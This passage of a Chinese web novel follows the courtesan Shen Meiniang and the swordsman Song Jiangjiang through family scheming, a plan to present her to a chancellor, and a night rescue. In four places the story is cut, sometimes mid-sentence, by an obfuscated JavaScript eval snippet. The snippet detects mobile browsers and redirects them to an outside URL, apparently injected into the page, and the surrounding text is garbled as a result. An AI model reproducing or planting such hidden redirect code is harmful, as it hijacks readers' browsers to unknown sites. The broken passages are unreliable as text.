叶随可没有说动叶司马的本事。 沈美娘送走叶随,才打开衣柜:“小剑客,你没闷坏吧?” 宋江江摇头示意他没事。 他更关心另一件事:“叶随叫你把我打发走,你同意……” 沈美娘这才知道小剑客居然是担心这个:“我可是费了好大力气把你救回来的,你别想那般轻易就走。” 难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986929|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他这藏不住事的性子,刚才躲在衣柜里憋了那么久都没出声,现在才来问她。 “我嘴上答应叶随,但我到底有没有把你赶走,他也不知道不是。”沈美娘挑眉,“你功夫那么好,躲着点肯定不会被发现。” 宋江江感觉沈美娘这话说的有些奇怪…… 他们将来不是会做夫妻吗?为何要叫他躲着? 但宋江江没有深想,只当沈美娘随口说的,点头应下:“我能做到。” 那些护院的功夫没他一半好,躲他们不成问题。 沈美娘托着腮,夸奖道:“宋江江你真厉害。” “就算你躲不过也没关系,我的人已经把那几个护院的家人都盯住了,他们不会乱说话的。”沈美娘道。 宋江江愕然:“你拿他们家人的性命威胁他们?” “怎么能说是威胁呢?我只是自己也得保命。”沈美娘道。 就算没有宋江江,她为了多一份保证,也迟早要把整个竹屋伺候的人都变成自己人。 他们只要乖乖听话,来日她也不会亏待他们。 宋江江听到沈美娘的话,觉得她说的也有道理。 沈美娘会救素不相识的自己,那她肯定不是滥杀无辜的人。 沈美娘看宋江江又开始皱眉沉思,故意逗他:“你怎么不问问,我刚才怎么不答应叶随的提议?” “沈娘子,怎么不答应呢?”宋江江如沈美娘所想般问她。 她故意继续戏弄宋江江:“我刚才不是都和叶随说了原因吗?怎么?你没认真听我说话?” “我都认真听了!”他急忙辩解,眼底还是疑惑,“沈娘子说的原因,我觉得不大对,沈娘子这般聪慧……我想沈娘子想的话,一定能一辈子都不被人发现以贱冒良。” 沈美娘被宋江江夸得非常舒坦。 这个小剑客——嘴可真甜! “算你不笨!”沈美娘得意洋洋,“那确实不是真正的原因。” 沈美娘走到宋江江身前:“原因之一,我可不想顶着别人名字活一辈子,我就要做沈美娘!” “我都听说书先生说了,很出名、很厉害的人是会被写到史书上的,不仅自己的名字会被写上去,祖宗十八代都会被写上去!”沈美娘眼里盛满夏日的明光。 她眼里满是野心和向往:“我就是想出人头地,我不仅要我活得风风光光,天下人都知道我是谁。等我死了,我也要在史书上留下一笔,我要叫天下人也知道我爹娘、我祖父母、外祖父母们是谁!” “我要千百年后,我的名字还是会被人们谈起!” 夏日的骄阳从斜窗里洒进屋内,明亮、张扬,可到了沈美娘面前,好像骄阳也变得腼腆、逊色了。 沈美娘比骄阳更夺目。 她手里把玩那把折扇,用它点了点宋江江的额头:“至于原因二嘛……” 宋江江的下巴被沈美娘捏住,她颇为苦恼般摇头:“有一个姓宋的小剑客就躲在衣柜里,我怕我要是真答应了,他得内耗到明年去。” 宋江江还没反应过来,就被沈美娘踮起脚吻住唇。 不像上次那般的轻碰,这次沈美娘故意加深了这个吻。 她发现小剑客也不像上次那般青涩。 在短暂的怔愣后,他无师自通般抱紧她的腰肢,热烈而真诚地回应她。 真是做事和做人都格外老实一男人。 吻着吻着沈美娘和宋江江较起劲儿来,她不想比这小剑客先认输,但…… 好吧,她还是得承认,小剑客不愧是剑客,她甘拜下风。 沈美娘推开宋江江,深吸了几口气,才恢复过来。 宋江江倒是看起来一切如常,除了脸变红了,眼神飘忽了,一点都没有喘不过气的感觉。 “你……”沈美娘的反骨又作祟。 她注意到宋江江的唇,立刻想到了该怎么做,故意伸手将他唇上沾上的胭脂抹开:“小剑客,胭脂好吃吗?” 果然,她话刚出口,就看到宋江江脸立刻变得绯红。 沈美娘在少年的怀里,连他剧烈的心跳声都能听得一清二楚。 懂了,这家伙,禁啃,不禁撩。 21. 第21章 叶司马的书房内传来一阵争吵声,屋外侍候的下人们都将头低得更低。 “爹!你为何就是不愿意把沈美娘给我?”叶随质问。 他真的是不明白,这全天下又不是只有沈美娘一个美人,为何爹爹就是不肯将沈美娘给他。 叶司马被这个不争气的儿子气到,指着他骂:“你还好意思问我?你再过两年都到而立之年了,却连个明经都还考不中……” 叶随反驳:“我考不考得中明经,跟爹你不把沈美娘给我有什么关系!” “你!”叶司马实在是被这个废物儿子蠢到了。 他指了指天,隐晦道:“你以为爹这么多年,既不把沈美娘给你,也不把沈美娘上献是为了什么?” “爹,你说什么啊?难道是仙人给你托梦了不成?”叶随没理解叶司马的深意。 见儿子实在是蠢过头了,叶司马只好说了实话:“你还记得,当年把沈美娘献给我的那个书生吗?” 叶随:“有点印象。” 他记得沈美娘是那个书生的贴身侍女来着。 当时沈美娘年岁尚小,只怕再大几岁,那人应该就会把她收为通房。 叶随喜欢上沈美娘后,也没少拿那书生试探她,听到沈美娘对那人毫不在意,还颇为怨恨后才放心。 可是这和爹不把沈美娘上献有何关系? 叶随不解:“那又怎么呢?不就是个父母双亡,寄人篱下的落魄书生吗?” “落魄书生?”叶司马冷笑一声,“人家本事可大着呢!如今他已是吏部侍郎,是谢党里数一数二的人物。我见到了,都得恭恭敬敬喊声‘沈大人’!” “人家不过及冠之年,便有如此作为,拜相不过是时间问题。你再看看你!”叶司马越说越生气。 叶随是真没想到短短六年时间,那个还需要给他爹行卷的书生,竟然能有这般作为。 他道:“这和沈美娘又有什么关系呢?” 叶司马回忆:“三年前沈美娘及笄时,我就想将她献给当时微服南州游玩的宁王殿下,却收到了那沈温的信件,让我照顾好沈美娘。” 沈温那时就已是从六品上的司封员外郎,还颇得谢党领袖谢阁老赏识。 他思来想去,觉得与其拿沈美娘去讨好一个无实权的王爷,不如讨好沈温。 叶司马就一直没将沈美娘献给其他人。 他叹了口气:“我倒没想到那沈温,竟然真的对沈美娘有几分真情……也算是成全他们这对有情人了。” “爹!可是……”叶随愤愤不平。 叶司马呵斥:“可是什么?你也去当个侍郎,爹保证今天就把沈美娘送给你!” 若是当年没答应还好,既然已经答应了沈温,那沈美娘要是在他手上出了差错,沈温绝对不会饶过他的。 叶随讨要沈美娘无果,还被叶司马骂了一顿,憋了一肚子气走了。 没得到沈美娘便也罢了,他却没想到还会挨他爹一顿训。 那个沈温有什么了不起的,就算如今是什么侍郎,当年还不是四处行卷,在他面前不也是点头哈腰、谄媚讨好吗? 如今却叫他压一头! 叶随心中不忿,想到沈美娘要被自己当年瞧不起的人要去,心中更是烦躁不已。 “备车马,去乐坊!”叶随不高兴就想找点事情做。 听闻最近乐坊新来了一批胡姬,之前几位好友就约过他。 如今心中烦闷,不如去消遣消遣。 - 沈美娘把一个包袱扔到宋江江怀里:“你之前被那黑店吞掉的财物,我都已帮你讨要回来了。” 宋江江喜出望外:“多谢!” 沈美娘挑眉:“就只是口头谢谢我啊?” 她可是帮这小剑客把他的东西都给要回来了,就连已经被那叶六处理的东西,她都让人赎回来了。 这小剑客还想一句轻描淡写的“谢谢“就想打发她?休想。 怎么也得亲亲她,再好好感谢她一番才成! 宋江江闻言一顿,又检点了一遍东西,竟把包袱里的金银财宝全都推到沈美娘面前:“都给你!” “给我?”沈美娘愣住。 这小剑客的这些东西少说也值几十两黄金,他竟说给就给了?! 宋江江赤诚笑意:“我们以后是要做夫妻的,我的钱就该给你管才是。” 沈美娘:“那我可就不推辞啦。” 她揽过眼前的东西,想着得重新找个箱子装小剑客送她的东西。 不然要是把宋江江的东西和其他男人送她的东西放一块,被他知道了,肯定又不知道要内耗多久。 到时候还得她来哄。 沈美娘注意到宋江江把几本书从包袱里拿出来,疑惑:“你干什么?” 她就说这小剑客怎么这么大方,原来是把最值钱的什么孤本、手稿拿走了是吧。 宋江江解释:“之前我和你说的那几本书,你不是说让我最好烧了,或者能埋多深埋多深吗?” 妈妈当年留给他的书很多,有漫画、歌词本,还有一些札记、随笔什么的。 大部分都被他留在了宫里,他这次从宫里偷跑,只带了几本最重要的札记。 沈美娘这才想起这回事。 这小剑客天天说些不着边际的话,还动不动就是什么“自由”、“平等”的。 她倒是要看看这是什么圣贤书! 沈美娘让宋江江把书给她看,瞧起来和叶家那些圣贤书外观上是没什么区别。 她随便指着一本的封皮,问:“这写的什么?” 宋江江一个字一个字指给沈美娘,道:“《中小学生守则》。” 沈美娘还是不懂:“什么学生,什么守则?规则吗?还是律令?” 宋江江一点一点给沈美娘解释:“我阿娘那个世界的学校,不像我们这里分为州学、国子监、太学什么的,他们那里分成小学、中学、大学……” “《中小学生守则》就是那里十八岁以前的孩子应该遵守的道德上的规则,不遵守也不会蹲大狱。”宋江江尽量把话说成沈美娘能理解的内容。 “哦——”沈美娘随手翻了翻,“那里面写了什么呢?这么厚厚一本,那里的中小学生也太多要遵守的规矩了吧?好可怜哦。” “只有前两页是规则啦,后面都是我娘的写的一些个人见解,还有别的感悟之类的。”宋江江又指着上面的文字仔细道,“这条说的是‘勤劳笃行乐奉献’,这条说的是‘诚实守信有担当’,这条是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14992259|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈美娘听完宋江江给她的解释,算是明白这小剑客是怎么变成现在这模样的了。 她注意到这上面的字不是大燕的文字,但又很像,不过笔画简单了许多。 沈美娘对宋江江讲的那些“乐于奉献、助人为乐”的好品德没兴趣,不过倒是很喜欢这简化了的字。 她从前也不是没想过偷学识字,可是那些笔画繁复的字实在难学,眼前书本上的简化过后的字倒是好学得多。 唔……这么一想,小剑客说那个世界人人都有书读,似乎也是能实现的。 说不定就算是农户也能干完农活,趁着天还没黑,学学这种简单的文字。 “至于‘孝亲尊师’的意思就是说……沈娘子,你是不是没听我说话?”宋江江注意到沈美娘心思早就飞到九霄云外去了。 沈美娘连连否认:“没有,我两个耳朵都有认真听!你说的什么勤劳奉献,什么诚实守信,我都听到了,也都听懂了!小剑客,你讲的可真好!” 不过听到听懂是一回事,她照不照着做就是她的事了。 宋江江听到沈美娘的话,笑着点头:“好,沈娘子如此聪慧,定然很快就能学会的!” 沈美娘听到宋江江还想给她传授他的《中小学生守则》之道,急忙把话扯开:“那你打算怎么处理这些书呢?” 宋江江听到这话,眼睫微垂,投下一片阴影:“我不想烧掉这些东西,但沈娘子你放心,我会仔细保存,不叫旁人看到的。” 这些书上的文字和大燕的文字虽像,但到底还是有许多不同,还掺杂不少‘外文’,就是叫人捡去了也不大可能看得懂。 沈美娘这次没阻拦宋江江:“也好,那你记得防潮,南州这边潮得很,书很容易发霉的。” “好!”宋江江点头,“我还以为沈娘子会继续劝我烧掉……” 沈美娘打断他的话:“我是贪生怕死,喜欢荣华富贵,但我又不是冷血无情。这你亲娘留给你的书,既然不舍得,当然得好好留着啊。” “原来在小剑客你眼里,我竟是那种恶人?”沈美娘故意反问。 宋江江抱住沈美娘:“不是!沈娘子,是天底下最好的娘子!我只是觉得沈娘子说的也有道理……” “哦——”沈美娘意味深长,“你又内耗啦?” “没有!”宋江江很用力地摇头,“这些书和过往的经历构成了过去的我,让现在的我有机会和沈娘子相遇。” 少年仰起头看她,眼里是细碎明光:“而我的未来都属于沈娘子。” 是因为书和沈美娘都对他一样重要,他才会犹豫。 沈美娘皱眉:“叽里呱啦说什么呢?” 宋江江听到这话像是蔫掉的瓜果,瞬间失去了所有生机。 但下一刻,沈美娘就抱紧他,熟悉的香味将他温柔缠绕:“逗你的!” “拽一大堆我听不太懂的话,也不嫌麻烦。”沈美娘轻哼了一声,“说句喜欢就那么难?” 他那一堆有的没的,不就是说喜欢她吗? 宋江江愣了片刻,笑开:“我喜欢沈娘子!” 沈美娘有点嫌弃。 啧,怎么稍微哄他两句,就变成这副傻样。 不过——勉为其难忍忍他也行。 22. 第22章 叶随约朋友出来喝花酒,酒过三巡,大家无不是酒酣耳热。 他怀里也搂了个胡姬,高鼻深目,肤白胜雪。 酒意让叶随暂时忘却得不到沈美娘的遗憾,可瞧着眼前的胡姬,他还是忍不住觉着这人差沈美娘一截,可是到底差在哪里他也说不上来。 “退下。”叶随挥退了怀里的胡姬。 与他交好的卢刺史家的公子,安慰他:“叶兄心里可还是挂念那姓沈的小娘子?唉,也是,那般美艳动人的美娇娘,竟要配给年逾不惑之人……” “什么?”叶随的酒意清醒了几分。 那卢公子也是喝多了,一时口无遮拦起来:“叶兄不是说叶司马要将沈美娘献给京中贵人吗?前些日子我爹说他收到叶丞相密文,说是不日将来南州一趟……” 卢公子:“我原以为叶丞相没告诉叶司马,没想到竟也告知了叶司马。” 叶随听到这话,酒意彻底褪去:“叶丞相?” 卢公子一副了然的神情:“叶丞相这次是微服密访,咱们俩家既然都知道,叶兄又何必遮遮掩掩的。” 他就说叶丞相毕竟是叶家人,就算叶丞相幼年失怙,宗族当年袖手旁观不说,还占了他爹留下的大笔家业。 但毕竟是一个家族的,打断骨头连着筋,叶丞相怎么可能来南州都不知会叶司马一声。 叶随可以肯定他爹是不知道叶丞相要来南州的。 不然他他爹肯定早就命人准备着了,而且……他们叶氏一族与叶丞相的关系,还真就是十分恶劣。 这么多年叶党排斥除叶丞相外的叶氏官员,谢党更是厌恶出了叶丞相这么个人的叶氏一族。 两党都不待见叶家人,也是他爹这么多年回不了京城的最大原因。 姓卢的不知道爹打算成全沈美娘和沈温,竟然还以为他爹是要把沈美娘送给叶丞相。 但是……这似乎也不是不可以。 与其叫那沈温抱得美人归,他倒宁愿沈美娘被送给叶丞相。 卢公子看叶随匆匆离开,问:“你去哪……不喝酒了吗?” 叶随一刻也没敢停,立刻赶回家去见他爹。 叶司马看叶随这酒气熏天的样子,皱眉生气:“你这是又去乐坊呢?!” “爹!”叶随打断他爹的责难,“叶丞相要到南州来了。” 叶司马听清楚叶随大着舌头说的话后,不可置信:“你说什么?” 叶随:“就是叶丞相,我三堂叔,他要到南州来,我今天亲耳听刺史家公子说的。” 他又把今夜与刺史家公子的话,细细与他爹说了一遍。 叶司马的眉毛却拧得更紧:“那又有何用?你也不是不知道,当年族里欺负人家孤儿寡母的事……” “爹,咱们毕竟是一家人,再说,您如今手里不是也有件宝物吗?”叶随道。 叶司马回过味来:“你是说……沈美娘?” 叶随点头:“爹,叶丞相府里连个姬妾都没有,这么多年怕也寂寞,你看美娘又生了副人见人爱的好面孔……万一事成,能与叶丞相缓和关系,岂不美哉?” “可我已经答应了沈温,那边怕是不好交代。”叶司马态度已经有了松动。 沈温早和他说好了,再过半个月就要来南州接沈美娘去京城,那边怕是不好交待。 但若是能与堂兄叶明舟和缓关系…… 叶随看出他爹也动了心思:“爹,那沈温可是谢党人,咱们和他交往过密,以后叶丞相不得更记恨咱们?况且,谢党就算明面上再接纳咱们,终究也忌惮咱们这个姓。” 叶司马深思了好一会儿:“你说的倒是有道理。” “你不是喜欢那沈美娘吗?你当真舍得?”叶司马问。 那叶丞相的年纪当沈美娘爹都绰绰有余。 叶随语气随意:“不过一个美人罢了。” 就算他得不到,别人也休想染指。 还不如拿去换前程。 - “宋江江,你当真不喝口果酒?”沈美娘晃了晃手里的酒壶,“是杨梅酿的,甜的,不会叫你醉晕过去的!” “不要!”宋江江如临大敌。 沈美娘撇撇嘴:“不喝算了,我多喝点。” 这小剑客是不是看什么“学生守则”真把脑子看晕了,居然连杨梅酒都不喝。 这可是宝儿刚摘了今年最新鲜的杨梅酿的,好喝得不得了。 宋江江想劝沈美娘少喝酒,可看她一个人喝了大半壶,还是毫无醉意。 他从想劝她别喝酒,变成了不理解她怎么能喝这么多酒。 沈美娘明白了宋江江的意思挑眉:“这酒压根就没什么酒味,喝烈酒都没几人喝得赢我,这才哪到哪。” 她说是这么说,但还是喝完手里那杯,就不再继续:“怕了你了。” 宋江江这才不再紧盯她。 “给。”他把醒酒茶递给沈美娘。 沈美娘接过一饮而尽:“原来成婚,就是找个人管着自己。” 茶水的暖意在四肢蔓延,确实比以前喝完酒更舒坦。 “不过嘛,倒也不错。”沈美娘咂咂嘴。 宋江江闻言浅笑:“你喜欢就好。” 院子里,有酒,有茶,还有时不时吹过泛着初秋寒意的凉风。 宋江江闻着淡淡的梅子香,混着沈美娘身上的浓香,不禁沉沦在这样的香气里 直到他注意到晒衣的架子后,在偷看和讨论他俩的宝儿和青词。 看起来主要是宝儿在说,青词在听。 “不用管她们,她们都信得过。”沈美娘懒洋洋趴在石桌上道。 宋江江发觉沈美娘有时候瞧着根本没上心,但好像对什么都了如指掌。 青词姑娘看起来安静温和,和那夜下手狠辣、刀刀致命的人根本就不像一个人。 但沈美娘既然在用她,就说明她应该有把握控制住青词吧? 他更关心另一件事:“你那夜同我说,会让青词和赵大郎处理叶六和黑店的事,如今应该处理得差不多了吧?” “嗯。”沈美娘答了一声,“你的包袱,我不是帮你拿回来了吗?” 宋江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14996561|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江又问:“那之前被拐的那些姑娘呢?官府可有查到?” “什么官府?”沈美娘这才坐直身子。 宋江江惊讶,他突然意识到沈美娘的“处理”,和他以为的“处理”可能根本不一样。 宋江江:“你没有报官吗?” “为何要报官?叶六的背后是叶家,我就是拿‘不报官’威胁他,才叫他没把那夜咱俩也在的事告诉叶随的。”沈美娘解释。 宋江江不可置信:“可是不报官,那些被卖掉的人,不就没人去救他们了吗?” “你以为报官有用吗?只要叶家在一天,你就是去报十次官,也没人救他们。”沈美娘道。 她感觉这个小剑客总是过于幼稚:“这天底下受苦受难的人多了去了,你以为你救得过来?” 沈美娘看到宋江江又红了眼眶,和上次听到她说那个文昭皇后的坏话时,一模一样。 这个小剑客怎么总是为了不相干的人落泪? 宋江江死死盯着她,像是没想到她会说出这种话。 沈美娘有些心虚,可高傲的性格不允许她低头:“我没那么大的本事,我只能先保全我自己。” “‘兼济天下,悲悯众生’这种事,就算放传奇故事里,那也是皇帝、仙人、大官们该考虑的,不是我该忧虑的。”沈美娘依旧坚持她的观点。 她以为宋江江肯定会和她争辩起来,却没想到他今日格外平静:“既然你让人处理叶六,那叶六人呢?” 沈美娘:“你找他做什么?” 她想过宋江江会吵着闹着要报官,又或者会质问她为何如此无情,但她没想到他会问这个。 宋江江解答了沈美娘的疑惑:“我报官会拖累你,我不去报官,但我不能眼睁睁看着那些人受苦。” 他一字一句,格外认真:“我去救他们。” 听到宋江江的话,两人都陷入沉默。 不知过了多久,沈美娘笑出了声,起身走向躲在架子后的两人:“青词,告诉他叶六住哪里。” 她又吩咐宝儿:“今晚,不,接下来半个月都不用煮宋江江那份饭了!” 她放完狠话,就看到宋江江找青词问了叶六的住处。 他临走时,依依不舍看向沈美娘:“美娘,我不能无动于衷,我……” “我叫你去。”沈美娘冷冷道。 她没有分眼神给宋江江,直到宋江江提剑离开都没再看他一眼。 宝儿不懂两人刚才还亲亲我我喝梅子酒,怎么突然就能吵起来:“美娘,那小剑客说什么惹你生气了吗?” 她很少见到沈美娘这般生气的。 “没有。”沈美娘盯着宋江江离开的方向。 她只是发现宋江江的想法和她全然不同。 两个想法天差地别的人,真的可以在一起吗? “我也想看看他到底能做到什么地步?”沈美娘目光沉沉。 天真幼稚到以为自己能拯救所有人,这种美梦——她十二岁的时候就不做了。 她倒要看看宋江江能做多久自以为是的大英雄。 23. 第 23 章 沈美娘没想到那小剑客刚走,第二天司马府上就来人说要将她接回去。 她向总是跟在叶司马身边的小厮套话:“日后还需要回这里来吗?” 小厮今日格外好说话,话里话外都是对沈美娘的奉承:“自然不用了!沈娘子,你以后怕是前途无量了。” 这就是说,叶司马应该是找好上献的对象了。 沈美娘却没有她试想的那般开心。 明明她终于可以离开芙蓉谷,说不定还能离开南州,攀上新的大树,依托他的“枝蔓”,去瞧瞧更高更远的地方。 可是她心里一闪而过的,居然是那个小剑客红着眼眶、委屈巴巴看她的样子。 “沈娘子,请上车。” 他要是知道自己另投其他男人的怀抱,一定会红着眼质问她吧。 小厮的声音打断沈美娘的联想。 她望着眼前比从前多得多的侍女、小厮,也看到了离她越来越近的荣华富贵。 她和宋江江本来就不是一路人,也幸好他今日不在,否则指不定会惹出什么麻烦来。 “走吧。”沈美娘踩着凳子上了马车。 宝儿看沈美娘又笑了。 是沈美娘从前见谁都三分笑,就算被人指着鼻子骂“妖孽”、“猫鬼”和“祸水”,都依旧笑吟吟的样子。 宝儿发现她已经很久没见沈美娘这般笑过了。 好像自从那个宋江江出现,她就很少这般笑了,而是笑得开怀、热烈、爽朗。 可是现在一切又变回去了。 宝儿好像明白沈美娘此刻不高兴,她试探问:“美娘,咱们就这么回去了,宋少侠能找到我们吗?” 沈美娘嘴角笑意更深,目光却格外寒凉:“就算给他留线索又怎样?他要去做救人于水火的大侠,哪里有时间管我的死活。” 叶六做略人的勾当又不是一日两日,宋江江一个人救人,怕是救到明年都救不完。 宝儿见沈美娘心情低落,也不好再劝。 从竹屋回来后,沈美娘就被叶司马的人看管起来。 她看着院内密不透风的守卫,不由怀疑叶司马是不是真的打算把她献给皇帝——不然何至于如此警惕? 也不知道是怕她被叶随救走,还是怕她自己舍不得叶随主动逃跑。 早知道她就不装得那般喜欢叶随了,这就是做戏做过头的代价。 又过了十来日,叶司马终于来见她了。 沈美娘终于知道他这么做的原因了——叶司马打算把她献给叶丞相。 她没读过多少书,却也知道丞相是百官之长。 那些读书人毕生梦想都不过是“封侯拜相”四个字。 丞相就是天底下最高最高的官了。 除了,叶丞相年纪有些大了外,对沈美娘而言,这可真是“再好不过”的去处了。 叶司马仍旧是那副“慈爱”模样,劝慰她:“美娘,我知道你这样的美人都想着能配少年风流的公子。可叶丞相毕竟是当朝宰相,文采斐然,能够伺候他,也是你的福气。” 沈美娘笑得和婉:“奴都知道,主君为了能把奴献给叶司马,定然也是费了好一番功夫。” “是奴该感激大人的知遇之恩和栽培之恩才是。”沈美娘俯身向叶司马行大礼。 叶司马连忙将沈美娘扶起:“美娘不必如此。我也是拿你当女儿看待和培养的,你只管将这司马府当成你的娘家便是。” 沈美娘依旧是那副好说话的样子:“是。” 叶司马走后,沈美娘依旧该练舞练舞、该吃饭吃饭,就好像宋江江从未出现在她的生命里一样。 一切如常,直到叶丞相到南州的前一天,也是沈美娘会被送给叶丞相的前一天。 宝儿帮她端来今日要用的簪花,小声道:“沈美娘,要不你逃吧。” 沈美娘簪花的手一顿:“逃什么?我可是好不容易才等到这一天的。” “可是……你当真不想和那个宋江江在一起了吗?”宝儿问。 沈美娘盯着镜子里,衣着华美、妆容美艳的女人:“他忙着做大侠呢,我可不敢去打扰他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15017253|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 不知为何,宝儿总觉得沈美娘这句话里有股子怨气在。 但她不会劝人,也不懂小情侣之间的弯弯绕绕,她碰了碰青词:“你去劝劝娘子。” 素来温柔好脾气的青词却拒绝了她:“娘子心里有主意。” 宝儿无计可施,又陪着沈美娘耗过了一天。 已经入了秋,虽然司马府华丽,但沈美娘不知为何就是感觉这里比芙蓉谷的竹屋冷。 沈美娘这晚没有早睡,倚着纱窗,隔着朦胧的纱望向窗外的明月。 叶司马似乎很怕她逃跑,除了派人守着她外,就连屋内的窗户都让人上了锁。 也不知道该说叶司马是心虚,还是做事周全。 沈美娘猛灌了一口酒,不是之前逗那小剑客时喝的杨梅酒,是要烈得多的酒。她也没让人温过,直接就喝着冷酒。 终于有出人头地的机会了,她不是该很高兴才是吗? 她怎么没有预想的那般高兴呢? 沈美娘不解出神时,门外传来一阵兵刃交接的声音。 她有瞬间期待——会不会是小剑客来救她了。 但不过片刻她就否定了这荒谬的想法。 怎么可能呢? 这里可是司马府,里三层外三层守卫。 小剑客又不会神仙法术,他怎么敢来,又怎么可能成功呢? 沈美娘更害怕是有人要害自己,连忙用桌子将门抵住。 外面的打斗算不得激烈,很快就重归于沉静,看得出来闯入这里的人,并不想将事情闹大。 “沈美娘!” 少年的声音在黑夜里显得格外明显,只听得一阵剑刃凌空的声音,窗户上的锁应声而落。 沈美娘仰头看去,看到少年被温柔月色包裹,就像传奇故事里无所不能的大英雄般出现。 他伸出手:“走。” 沈美娘不受控制地走向宋江江,将手放到他的掌心。 少年掌心的温暖,就顺着她冰凉的指尖,蔓延到她的四肢、肺腑,直至心尖。